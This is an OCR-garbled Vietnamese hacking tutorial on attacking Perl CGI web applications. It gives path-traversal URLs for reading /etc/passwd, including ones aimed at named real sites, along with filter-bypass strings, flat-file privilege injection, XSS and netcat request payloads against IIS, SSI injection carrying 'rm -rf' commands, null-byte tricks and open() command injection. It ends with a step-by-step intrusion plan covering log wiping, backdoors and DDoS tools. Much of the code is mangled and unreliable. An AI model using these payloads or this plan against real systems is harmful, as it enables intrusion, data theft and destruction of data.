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Tiéu dé: CGI hacking

CGI hacking

Hién nay cac ing dung WEB ding CGI rit nhiéu,né tré nén rat phd
bién va ciing dwoc cac hacker quan tAm va khong it cac 16i bao mat
dugc tim thiay .Ban mudn hack web sit dung CGI thi ban phai biét chit
it vé ngon ngir PERL.Néu ban khong biét gi vé PERL thi t6i khuyén ban
nén di tim mot cudn sach néi vé PERL ma doc,diéu nay chic la khong

khé d6i véi ban.

Truwéc tién ta hiay xem cach thirc 1am viét cia GET va POST nhu thé

hY

nao:

GET:

GET la phwong phap mit dinh dé dé trinh céc form,tuy 13 phwong phap
mit dinh nhung c6 mét van dé véi viét sit dung GET.Phwong phap nay
thém thong tin chira trong form vao chuéi van tin URL(,néu URL qua
dai thi chwong trinh ty dong xén b6t nén gay ra su dé trinh khong chinh
xac.Thong tin duec lay tir bién méi truomg SENV{'"QUERY_STRING"} vi
du:

#script.cgi ?sometext



#sé€ la:

$file = 'sometext’

$file= SENV{'QUERY_STRING'};

#script.cgi?some& text

#sé€ la:

$name ='some' and $file = "text'

($name, $file) = split(/&/, SENV{'QUERY _STRING'});

(chti y:T6i khuyén ban biét chiit it vé PERL cho dit ban khéong 1ap trinh
bang PERL,va dién hinh la bai viét nay ban hiéu n6 nhw thé nao vi du
1énh split() lam nhw thé nao...)

Va néu nhiéu bién thi nhw sau:

@pair = split(/&/, SENV{'QUERY_STRING'}):

foreach $pair (@pairs)



($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value=~tr/+/ I

#used to convert url encoding (hex) to ascii :

$value =~ 9% ([a-fA-FO-9][a-fA-FO0-9])/pack(" C", hex($1))/eg;
SFORM{$name} = $value; #script.cgi?name=some& file=text

#sé la:

$FORM{'name'} = 'some' and $SFORM{'file'} = "text’

Trén dy 1a nhirng vi du don gidn vé phwong thitc GET.va HTTP ¢6

dang nhw sau:

GET /script.cgi?some& text HTTP/1.0

POST:

POST la phwong phap thw hai diung dé de trinh cic form va dang duoc
sit dung rong rai nhat,vi né6 khong han ché lwong di liéu truyén dén

server.Dé doc dir liéu truyén den server,trudc tién ban phai xac dinh



chiéu dai ciia né,va thyuc hién diéu nay bang cich qua ién méi truong
CONTENT _LENGTH va sau d6é ban cé thé doc sé byte chinh x4c trong
mot bién khac,chudi dwoc mi hoa béi URL do d6 ban cin phan tich va
giai ma né.PAy 1a vi du cia HTML dwgc "submit" form véi hai bién
"name" va"file":

<form action="script.cgi" method="post" >

<input type="text" name="name" value="">

<input type="hidden" name="file" value=" profiles.txt" >

<input type=submit value=" submit" >

</form>

Va tit ci cac form dir liéu sé dwore diit trong:into SFORM{'name-of-

field'} doc POST data:

$buffer read(STDIN, $buffer, SENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);

foreach $pair (@pairs)



($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value =~tr/+/ /,

#used to convert url encoding (hex) to ascii

$value =~ 9% ([a-fA-FO-9][a-fA-FO0-9])/pack(" C", hex($1))/eg;
#thiswould set

$FORM{'name'} = whatever the user put in the text field
#and SFORM({'file'} to profile.txt

$FORM{$name} = $value;

Lam viéc ciia POST phan nao d6 rét gibng GET nhung ban sit dung
ham read() dé doc vao STDIN va né sé send phan dir liéu chira trong
phuong thire POST.CONTENT LENGTH dung dé goi script dé doc
dir liéu,n6 bao gom trong phwong thirc POST.Mot s6 script sit dung

phuong thirc nay c6 dang nhu sau:

<input type="hidden" name="file" value=" profiles.txt" >



-->day 1a phén 4n ciia ma ngudén URL ma khi hacker mudn xem thi
khéong khé,khi anh phat hién ra code c6 dang nhuw thé thi c6 thé doi lai

nhw sau:

<input type="hidden" name="file" value="/etc/passwd" >

Va khi nhan niat "submit" thi dit liéu sé dwoe phuong thire POST goi
yéu ciu t6i HTTP requery,vay la ban c¢é dwoc file passwd,tham chi chi
dung telnet ciing liy dwoc.DAy 1a phwong phap dé dang dé 1y dwoe dir
liéu quan trong ciia server qua ving an ciia html.Cé nghia la ban c6 thé
bypass bat ky loai clien side security,ching han nhwr java script
check,http referrer value,form html...Durng bao gio trong cho vao dir
liéu dwoc chuyén dén qua phwong thirc POST hon nira ban sé c6 dwoge
dit liéu tir GET,va n6 sé thay doi boi attacker ho ¢6 thé doc dwoc dir lidu

cua ban tr HTTP RFC vi du dung telnet:

POST /script.cgi HTTP/1.0

Content-Length: 23

Content-Type: application/x-www-for m-urlencoded
value=blah& another=bleh

POST va GET la hai phwong thirc gitip nhiéu cho hacker khai thac
thong tin ciia hé thong va mét modul quan trong nira 1a CGI ciing c6 loi

rat nhieu.



CGl:

CGI 12 mot tiéu chuin dé tao cic chwong trinh ngoai ching han nhw cac
script perl véi mot HTTP server,cac thuat ngir ""common'' va
"gateway" am chi cic bién va quy wéc thong thuwong dwoc ding dé
truyén théng tin nay qua lai HTTP server.CGI cho phép ban sit dung
chwong trinh tuy bién nay dé dinh dang va xit Iy dir liéu xuét sang cac
bd trinh duyét.Mdi lan nguwoi ding yéu cau mét URL twong ng véi mot
Script CGL,WEB server vién din chwong trinh,truyén din théng tin tir
bd trinh duyét dén script.Thong tin nay bao gom cac header HTTP
khac nhau va dwoc géi tir trinh duyét yéu ciu va théng tin tir dwoc
truyén cung véi URL chiin han nhu thong tin chudi query.Sau d6 script

CGI doc va xir ly dwa ra dap ung thich hgp véi thong tin nay :

xem vi du:

#$valueisanew CGI

$value=CGl->new();

$file = $value->param(‘file');

#script.cgi ?name=somes. file=text

$name = $value->param(' name');



#would make $name = 'some' and $file = "text'

COOKIE:

Chic tbi khéi néi cac ban ciing biét.

ENV:

AUTH_TYPE:Kiéu xac thwe dung dé hiéu luc hoa nguoi dung
CONTENT_LENGTH:Kich cé ciia ngi dung file duwgc cho ra
CONTENT _TYPE:Loai ngi dung ma dir lieu duwoc goi
CATEWAY_INTERFACE:Phién bian CGI ma server hd tro

HTTP_ACCEPT:Loai MINE ma trinh duyét chiap nhén cho yéu ciu

hY

nay

HTTP_USER_AGENT:Tén hoan chinh b§ nhan dang cau b¢ trinh
duyét

PATH_INFO:Théng tin dwong din
PATH_TRANSLATED:PATH_INFO duwgec bién dich

QUERY_STRING:Bit ky text sau '?'



REMOTE_ADDR:Pia chi IP ciia bd trinh duyét yéu ciu

REMOTE_HOST:May chii ciia bd trinh duyét thuc hién yéu cau

REQUEST _METHOD:Phwong phap dung dat yéu ciu chin han GET
hay POST

SCRIPT NAME:Puong dan dén script dwoe thue thi.

SERVER_NAME:Tén may chu cia server.

SERVER_PORT:Céng ma may chi lién lac

SERVER PROTOCOL:Giao thirc va phién ban dwgc sir dung trong

cau tra loi caa server.

SERVER_SOLLTWARE:Tén va phién ban phian mém server.

Tir nay dén gio cac ban chi doc toan kién thirc co ban vé giao thirc
truyén thong tin qua GET va POST véi HTTP...Ta hiy di dén phén

quan trong ciia g dung 19i ciia script CGI trong viéc hack.

Reverse Directory Transver sal

Bay gio hiy tin dung cac ton thwong ciia CGI néu ban biét UNIX va
PERL thi tai sao khong thé tim ra 16 hdng cia ing dung nay,bay gio ta

hiy chii y dén thuit ngir:"Reverse Directory Transversal" 1am chiing ta



lién tuwdng dén dau "../" t6i cé thé néi rang hau hét cic ban & day déu
biét tac dung ciia ddu nay chir nén téi khong cin néi nhiéu 1am gi nira
ma ta hay diit ra cAu héi tai sao lai sir dung dau nay?Vang thwa cac ban
ti s& néi cho cac ban biét trong nhirng dong chir tiép theo sau.Dau nay
né cho phép chiing ta doc,ghi,x04 va thi hanh cac file trén server bi ton
thuwong.Day la ca phap cia ham open()<!--emo&:(--><IMG
alt=greensad.gif

src=" http://vnhacker .or g/forum/html/emoticons/gr eensad.gif" border=0

valign=""absmiddle"><!--endemo-->vi du)

open(FILE, " /homeluser /file.txt");

or

$this="'/homefuser ffile.txt’;

open(FILE, " $this");

Ci hai c6 chung mot muc dich 12 mé file file.txt,chiing ta c6 thé thay

khong c6 so hé nao cho viéc tan cong tir xa cua hacker.Va bay gio

ching ta thir nhin doan code vuln.cgi sau:

$this=$ENV{'QUERY_STRING'},

#oetsthe user input into $this

open(FILE, " $this");



#opensthat file

@stuff = <FILE>;

#puts contents of that fileinto @stuff array close(FILE);

print " Content-type: text/html\n\n";

#print html to the client print "<HTML><BODY>\n";

print @stuff;

print " </BODY></HTML>";

Cac hacker sé 1am viéc véi bién méi trwong QUERY_STRING nhw
sau:/etc/passwd va bat ky file nao dé cé thé doc trén server.Nhung mot
s0 server khac lai khong nhw thé ho bao méit hon mét ti vi du code nhuw
sau.

$this="/homeluser/';

(undef, $this) .= split(/?/, SENV{'QUERY _STRING'});

open(File, " $this");

Bay gio' thi ban khong thé doc véi dau vao 1a /etc/passwd nhung ko vi



thé ma cac hacker dau hang ho nghi ngay ra dung dau ../ nhw
sau:../../etc/passwd va ho da thanh cong vi du trong mdt s6 ing dung
CGI ¢6 doan URL sau:script.cgi?file=database.txt nhung hacker da tan

dung va khai thac nhw sau:script.cgi?file=../../../../etc/passwd

Vi du file ma toi tim thay 16i nay(chwa fix):

<A

href=" http://www.chattanooga.net/index.cgi?menu=Support& page=/../..
[.1.1.1.1././etc/passwd" target=_blank><FONT

color =#abb2d5>http://www.chattanooga.net/index.cgi?menu=..../../etc/p
asswd

Ta con c6 thé khai thac cac 1énh UNIX trén server nay nira vi du:

<A

href=" http://www.chattanooga.net/index.cgi?menu=Support& page=/../..
[.1.0.1.1../oin/lg" target=_blank><FONT
color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=...../bin/Ig|
>>Xem cac file va thu muc trén hé thong va cic ban cé thé thi hanh céc

Iénh UNIX trén server nay.

Day la code dé bio v¢ viéc dung dau '../' nhw sau:

$this="'/homeluser/';

(undef, $this) .= split(/?/, SENV{'QUERY_STRING'});



$this=s\.\.V//g;

#oetsrid of ../ in $this

open(File, " $this");

Thoat dau nhin thi cé vé an toan,nhung ching ta biét vé cach ma UNIX
va PERL hiéu nhu thé nao,hdy nhin day,dé la .\./.\./etc/passwd =>Trong
UNIX sir dung '.\./' thay cho '../' nhung cac hacker dau chiu yén ho sir
dung dé 1am dau vao nhu sau:'.\./.\./" thi file bio vé d6 sé khong nhin
thay '../' twong dwong '....//' va cac string sé khong dworc loc hét,va bay
gio cac hacker c6 thé doc thi hanh va xo4 cac file trén hé thong vi du

dién hinh vé 16i nay la:

FileSeek.cal

file nay c6 doan code nhuw sau:

$ROOT_DIR ="/web/guide/cgi-perl/private 09832ujd/CD-ROM/';
$DD = substr (3ROOT_DIR, -1); #3DD ="/

if ($directory =~/$DD\.\./) { $directory ="'}
$SARGS{'head'} =~ J("$SALLOWED_DIR)|(*$DD)|(\.\.($DD|$))//g;
$ARGS{'foot'} =~ §/(*$ALLOWED_DIR)|(*$DD)|(\.\.($DD|$))//g:;



Rat dé dé danh lira FileSeek.cgi! Néu attacker géi "....//", FileSeek.cgi sé

strip "../" va két qua sé ra 1a "../".exploit nhw sau:

<A href="http://www.cgi-

per |.com/programs/FileSeek/Demo/FileSeek.cgi?head=..../[..../[.../I...1I....]
[...M].../letc/passwd" target=_blank><FONT

color =#abb2d5>http://www.cgi-
per|.com/programs/FileSeek/....../[etc/passwd

Vang t6i day 1a ban c6 thé hiéu rdi chir.

Flat Databases:

Khi ban nghe néi vé flat Databases c6 nghia la dung plain text dé chira
dir liéu diy c6 thé 1a database.txt,database or file.db.Bay gi®' chiing ta
hiy xem mét vi du vé FD(Flat Databases)

Hay xem doan code sau:

use CGl;

#$input isa new cgi

$input=CGI->new();



#get GET/POST variables

$name = $input->param('name');

$mail = Sinput>param('mail');

$message = $input->param('message');

#print to messages database

open(DB, " >>messages.txt");

print DB " $name|$mail|$message\n” ; close(DB);

C6 ba vung dii liéu dé input vao messages.txt,khi message board script

doc thi ban sé nhin thiy code sau:

#read messages database

open(DB, " <messages.txt");

@messages = <DB>;

close(DB);

#print html print " Content-type: text/html\n\n";



print"<HTML><BODY>\n",

#loop through all the messages

foreach $msg (@messages)

#split the database fields up

($name, $mail, $message) = split(/\|/, $msg);

print " message by: <a href="mailto:$mail" >$name</a>\n"; print

" <br><br>\n$message\n<br><br>\n";

print " </BODY></HTML>",

Khong co6 su lgc dir liéu dau vao nao doi véi code nay.nén ban co6 thé

dung nhw sau dé lam tran:

flood|flood|flood\nflood|flood|fl ood\nflood|fl ood|flood\nflood|flood|fl ood\

n ...that nhieu vao

Vé6i doan code trén ta khong nhin thiy sw de doa 16n nao dén voéi hé



thong nhung hiay nhin mot so server code Au va c6 dang nhuw sau:dir liéu
vao:'user name|passwor dlvisitsjuser -agent|admin|ipaddress vung admin
12 1 néu user 13 admin va 0 néu la user binh thwomg.Vay hiy nhin khi

chung ta cho dir li€éu dau vao nhu sau:

bOiler|a|1|linux|1]|127.0.0.1]

OK tuong dwong user name la b0iler,visit 1a 1,user-agent la
linux,*admin to 1*,ipaddress 1a 127.0.0.1 véi 16i nay mot user binh
thuwong c6é thé login vao hé thong véi quyén root,thong thwong thi
trwong user name va pass thi dwgc loc nhung véi user-agent va referer
thi khong dwoe loc va cac hacker ¢ thé chén nhirng doan ma 1énh nguy

hiém vao hé thong server bi ton thwong.

Cross Site scripting:

XSS thi cac ban nghe dén nhiéu roi nhat 1 bai viét cia MASK.. rat ré
nén toi khong mudn viét lai nira,nhwng & diy téi dang viét vé 16 hong
ciia CGI nhung CGI ciing bi 16i vé XSS nén tdi néi so' qua vy mong cac

baanthong cim,xem vi du:

<A href="http://vuln.com/script.cgi?display=< script"
target=_blank><FONT
color=#abb2d5>http://vuln.com/script.cgi?display=< script
type=text/javascript>alert(‘hello');< /script>

script.cgi 1a code perl ma n6 dung dé xem dir liéu trong ving input va sé



tra vé clien side trén trihn duyét,va cé nghia la doan code < script
type=text/javascript>alert('hello');< /script> sé dwgc chay ngay trén
trinh duyét ciia ban.Va véi nhitng code js ma ban biét ban c6 thé khai
thac mot cach hiéu qua dién hinh nhit 13 iy cookie(bianh quy) va hon
nira 1 ¢6 thé truy ciip vao cac URL chira user name,passwd,sessionid va
mot so thong tin nhay caim nhat.Ban c6 thé thay doi user trén site d6 va
ban ciing c6 thé submit data dé script thi hanh gy nhirng ton hai dén
server nhu del email,thay doi email,send email,add admin vao database
va bat ctr thir gi ban mudn khi ban truy cip vao hé thong véi quyén toi

cao.Day 1a mot doan code CGI c6 vén dé:

use CGl;

#$input isanew CGI

$input=CGI->new();

$email = $input->param(‘email');

#checks for valid email address: something@something.com

if($email !~/ \SH\@(\S+).(\S+)/)

#prints $email to html, totally unfiltered.


mailto:something@something.com

&printhtml(" error: $email isnot a valid email address");

ese

& processemail (" $email");

Ban c6 thé dwa thong tin vi du < script type=text/javascript>
alert(hello);< /script> vao email address mgt error message s€ duwgc goi
toi clien va doan ma js s€ dwgec chay ngay trén trinh duyét cua
hacker.Va vi du vé nhirng 16i nay thi téi khong can dwa lén diy vi trong
box bio mat ¢é rat nhiéu 16i néi vé XSS ban c6 thé tim va khai thac

ching =>ting thém k¥ nang hack cua ban.

Va t6i noi thém trong viéc chén code js trong viéc tan cong qua cong 80

xem vi du mot so cach tan cong sau:

Thir chén m§t doan ma JS vao "Referer'":

C:\>nc 127.0.0.3 80
HEAD /HTTP/1.0

Referer: < script>alert('document.domain="'+document.domain)<



/script>

HTTPd Response

HTTP/1.1 200 OK

Server: Microsoft-1154.0

Content-L ocation: <A href="http://127.0.0.3/Default.htm"
target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/ntml

Content-Length: 4325

Cheén vao default.asp:

C:\>nc 127.0.0.3 80
HEAD /default< script>alert(" Cheersworld!" )< /script>.asp HTTP/1.0

#Software: Microsoft I nternet Information Server 4.0

#Version: 1.0

#Date: 2002-06-17 16:26:50

#Fields: time c-ip cssmethod cs-uri-stem sc-status

16:26:50 127.0.0.3 HEAD /Default.ntm 200

16:27:04 127.0.0.3 HEAD /default< script>alert(" Cheersworld!" )<
/script>.asp 200

16:41:15 127.0.0.3 GET /default.asp 200

Nhiing script ma attacker c6 thé sir dung:



HEAD< script SRC="c:\boot.ini" ></script>/HTTP/1.0

HEAD /default.asp<FileSystemObject.CopyFile " c:\boot.ini",
"boot.ntm" >HTTP/1.0

GET /< script>window.location=" http://www.bad.com/bad.htm" ;<
/script>home.htm HTTP/1.0

GET /default.asp<% FSObj.CopyFile global .asa global .txt% >

Tiép tuc:

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: <% Set fs= CreateObject(" Scripting.FileSystemObject")
Referer: Set a = fs.CreateT extFile(" c:\testfiletxt", True)

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: aWriteLine(" Here an attacker would")
Referer: aWriteLine(" build afileo-ntheHTTPd")

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: aWriteLine(" of any type and content, including")
Referer: aWriteLine(" a binary, a script, a batch file...")

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0
User-Agent: a.Close %>

Va:

C.:>\nc127.0.0.380HEAD /HTTP/1.0



HTTP/1.1 200 OK

Server: Microsoft-1154.0

Content-L ocation: <A href="http://127.0.0.3/Default.htm"
target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.ntm
Content-Type: text/ntml

Accept-Ranges: bytes

Content-Length: 4325

C:>\nc 127.0.0.3 80

HEAD /default.asp<img src="file:/C:/boot.ini" >

HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-1154.0

Content-L ocation: <A href="http://127.0.0.3/Default.htm"
target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.ntm
Content-Type: text/ntml

Accept-Ranges: bytes

Content-Length: 4325

C:>\nc 127.0.0.3 80

HEAD /default.asp< script>alert(" Cheersworld!" )< /script>
HTTP/1.OHTTP/1.1 200 OK

Server: Microsoft-1154.0

Content-Location: <A href="http://127.0.0.3/Default.htm"
target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/ntml

Accept-Ranges: bytes

Content-Length: 4325

Chi y:nhirng doan code trén la vi du ban phai linh hoat trong qda trinh



xam nhip ctia minh

SSI:

Chic cac ban ciing tirng nghe qua vé SSI vay SSI thit ra 1a cii gi thuwa
cAc ban tdi c6 thé néi ring né gidong nhuw #include file ->trong C/C++
hay ham requery() va include() trong PHP nhung day la dung cho
SHTML(c6 nghia la file ¢6 duoi la .shtml) vay ca phap nhu sau:
<l--#thong tin -->

<!--#includefile="/etc/passwd" -->

==>dwa thong tin cua file /etc/passwd ra trinh duyét

<!--#exec cmd="rm -rf /nomelyou/www" -->

==>thi hanh 1€nh sau exec & day la 'rm -rf /home/you/www'

Pay la code CGI:(vi du)

@pairs = split(/&/, SENV{'QUERY_STRING'});

foreach $pair (@pairs)

($name, $value) = split(/=/, $pair);



$value =~ §<!--(.\n)*-->//g;

$FORM{$name} = $value;

}
Hay nhin $value =~ s/<!--(.|\n)*-->//g;no6 da lgc cac SSI,va khi ban dung

SSI thi né khong lam viéc.Chung ta hiy nhin doan code sau:

" <br> $user name $email <br><br> $message <br>"

Viy ban c6 thé vao phan input trong trudng user name vi du <!-- and
email as #exec cmd="1s" --> thi n6 s€ thi hanh l€nh Is.Loc dir liéu la
phin quan trong trong cac ing dung PERL Script,nhung nhirng hacker
thi sé luén tim ra nhirng khe hé dé qua miit hé thng xem vi du sau:

$value =~ g/<!--(.[\n)*-->//g;

doan code trén lgc SSI véi <!-- #anything --> nhung hay nhin doan SSI

Sau.

<!-<I-- #nothing -->- #include file=" /etc/passwd" -->

doan nay thi khong lam viéc vi perl s€ tim <!-- dau tién va --> cuoi cung

viy ta hiy sira doi lai mot chit nhu sau:

<!-<!-- -->- #includefile="/etc/passwd" -<!-- -->->



Lam viéc mdt cach rat ngon lanh vi <!-- va --> khong tim thiy vay ta di

lira dwoe hé thong mét cach ngoan muc

Vay bai hoc la gi:

Mudn tin cong hé thong nao do6 thi ta phai hiéu hé théng d6 cé ciu tric
nhw thé nao 1am viéc ra sao,& diy cac ing dung CGI dung perl script
thi ta phai hiéu cach thirc 1am viéc ciia perl thi méi c6 thé khai thac

duwgec.
Bay gio ban thiy hiém hoa to 16n tir SSI nhur thé nao roi chir hi vong cic
ban hiy quan tim dén hé thong ciia minh dé tranh dwoc cac cude tin

cong caa hacker.

NULL Byvte:

Vin dé nam ¢ \0 (00 hex) 1a NULL Byte,perl sé nhin NULL Byte ¢ ky
tue NULL nhung C thi khong nhwr viy,chiing ta ¢é thé virgt rao ngin
can ciia hé thong d6 thong qua cac ham hé théng nhu open(),exec()...Dé
dé hiéu hiy xem vi du sau:

#get input and put it into $file

$file= SENV{'QUERY_STRING'};

#convert url encoding to ASCII (%00 will becomethe NULL Byte)



$file =~ 9% ([a-fA-FO-9][a-fA-FO-9])/pack (" C" , hex($1))/eg;

$filename ='/Thome/user/' . $file. " .txt';

open(FILE, " <$filename");

Poan code nay lam gi? $file sé 1dy /home/user/ dit trwde va .txt dit sau
n6.Khi $file=a con nghia 1a no sé mé file a.txt,nhung khi ban danh trén
trinh duyét véi URL sau vi du:script.cgi%00 thi perl sé géi
/home/user/script.cgi\0.txt dén C va né s& nhin v6i /home/user/script.cgi
la NULL Byte vay khai thac nhu thé nao hay lam nhu sau:Chén mét ki
tw NULL byte vao phia sau cAu truy vén vd:...../../../etc/passwd\0 vy la
ta c6 thé doc duoc file /etc/passwd,véi nhirng code upload thi ta ciing cé
thé up nhirng file khong cho phép véi nhitng meo bét ky nao ma ban

nghi ra dé lira hé thong

Vin dé véi ham open():

Ham open() rit hay dwoc sit dung nhung né ciing cé6 nhirng méi nguy
hiém dén hé thdng ciia ban,dé cho van dé dwoc ré rang hon hiy ghé
tham vi du sau:

use CGl;

$input=CGl->new();



$file = Sinput->param(‘file');

open(FILE, $file) or & diehtml(" cannot open that file");
Hay khai thac thir 16i nay:

<A href="http://bOiler .eyeonsecurity.net/script.cgi?file=rm"
target=_blank><FONT

color=#abb2d5>http://bOiler .eyeonsecurity.net/script.cgi?file=rm -rf ./|

thu muc hién hanh sé bi x04,vay 1a ban cé thé thiy tinh nguy hiém cia

no nhw thé nao roi

Tom lai:

Toi da trinh bay so qua mdt s6 16i ciia cic rng dung CGI ma sir dung

PERL Script mong ring véi nhirg kién thirc nhé nay ban cé thé hiéu

thém veé tam quan trong cua viéc biao mat hé thong,hi vong tir bai viet

nay cé thé givp cho cic ban biét mét so6 16i thwong giip ciia irng CGI ma

khai thac va fix mot cach hiéu qua.Néu cé gi thieu s6t mong anh em chi

180.
Cic buéce ciia hacker khi muon ddt nhap vao mot hé thong may chii :
<Buéc 1> FootPrinting : Cac muc tiéu ciia budc nay chii yéu 1a nhirng

thong tin ban dau vé server . Cong nghé ban cin sir dung la : Open

source search ( ngudn may chi tim kiém ) Whois , Web interface to



whois , Arin Whois , DNS zone transfer ( bo phin nay chi yéu la kiém
tra vé nguoi chii server , DNS .. cAu tric server chua thé hién ré & diy )
1 56 cong cu : UseNet , search engines ( cong cu tim kiém ) , Edgar Any

Unix client , http://www.networ ksolutions.com/whois,

http://www.arin.net/whois, dig, nslookup Is-d , Sam spade

<Buéc 2> Scanning : Phin 16m cac server chiu bung thong tin quan
trong trong budc nay , hiy ¢ ging tin dung budc nay triét dé dé biét
cac port trén server , nghe duong dir liéu . Cong nghé ban can sir dung
la : Ping Sweep , TCP/UDP port Scan , Os Detection . Cac cong cu :
fping , icmpenum Ws_ping ProPack , nmap , Super Scan , fscan nmap ,
queso, siphon .

<Buéc 3> Enumeration : Pén budc nay , cic attacker bat dau kiém soat
server so bo , xac dinh cac account trén server , mirc d¢ bdo vé ... Cong
nghé ban cén sir dung la : List user accounts , List file share , Identify
applications . Cac tool phu tr¢ : null sessions , DumpACL , sid2user ,
OnSite Admin showmount , NAT , Legion banner grabbing véi telnet ,

netcat , rpcinfo.

<Buéc 4> Gaining access : Aha , di c6 di dir liéu dé két hop tét ca
chiing lai . Chiing ta bit dau dén gan muc tiéu . Hiy nim chic co hgi . 1
account c6 thé bj Crack . Cong nghé : Password eavesdropping , File
Sharebruteforcing, Password filegrab , buffer overflows. Cactool :
tcpdump , LOphtcrack readsmb , NAT , legion , tftp , piwdump2 ( NT )
ttdb , bind , 11S, . HTR/ISM.DLL


http://www.networksolutions.com/whois
http://www.arin.net/whois

<Buéc 5> Escalating privilege : Néu 1 account khéng may min nao &
mot cip dd nao dé bi crack & budre trén , ching ta sé c6 cai tin dung dé
diéu khién Server . Cong nghé : Password cracking , BUG ,Exploits .
Tools: john , LOphtcrack , Ic_messages, getadmin , sechole.

<Buéc 6> Pilfering : Thong tin liy tir buéc trén du dé ta dinh vi server
va diéu khién server . Néu buéc nay khong thanh céng , hiy dén budéc
<9> . Cong nghé : Evaluate trusts , Search for cleartext passwords .

Tool : rhost , LSA Secretsuser data, configuration files, Registry .

<Buwdc 7> Covering Tracks : H¢ thong luon ghi nhan nhirng hanh dong
ciia ban . Néu bay gio ma két thiic , chic ban bi tom ngay . Pay 1a budéc
cue ki quan trong . XOA LOG . Cong nghé : Clear logs , hide tools .
Tools: Zap , Event log GUI , rootkits, file streaming .

<Buéc 8> Creating Backdoors : Con phai héi , ban phai dé lai 1 cai cong
sau , 1an sau c6 vao thi dé hon chir . Néu khong thanh cong , quay lai
bwéc <4> xem lai cic quyén ciia user ban sir dung . Cong nghé : Creat
rogue user accounts, schedule batch jobs, infect startup files, plant
remote control services, install monitoring mechanisms, replace apps
with Trojan . Tools: members of wheel , administratorscron, At rc,
Startup folder , registry keys, netcat , remote.exe, VNC , BO2K

keystroke loggers, add acct to secadmin mail aliaseslogin , fpnwclnt.dll

<Budc 9> Denial of Servies : 1 attacker khong thanh cong véi nhirng gi
anh ta di 1am ... ho sé tin dung nhirng exploits code dé 1am cho server

ngirng hoat dong ludn , goi do6 12 : tan cong tir choi dich vu . Cong nghé :



SYN flood , ICMP techniques, Identical src/dst SYN requests,
Overlapping fragment/offset bugs, Out of bounds TCP options ( OOB )
DDoS . Tools phu trg : synk4 , ping of death , smurf land , latierra,
teardrop , bonk , newtear , supernuke.exe, trinoo/TFN/stacheldraht

Thé d6 , nhitng budc hacker hay attacker 1am véi server khi ho muon
attack . Khong don gian chat nao nhi ?
Nhitng tool trén , ban c6 thé search ¢ cic may tim kiém nhw

http://www.google.com/ , http://www.av.com/ ... voi tir khoa la tén toi da

cho.
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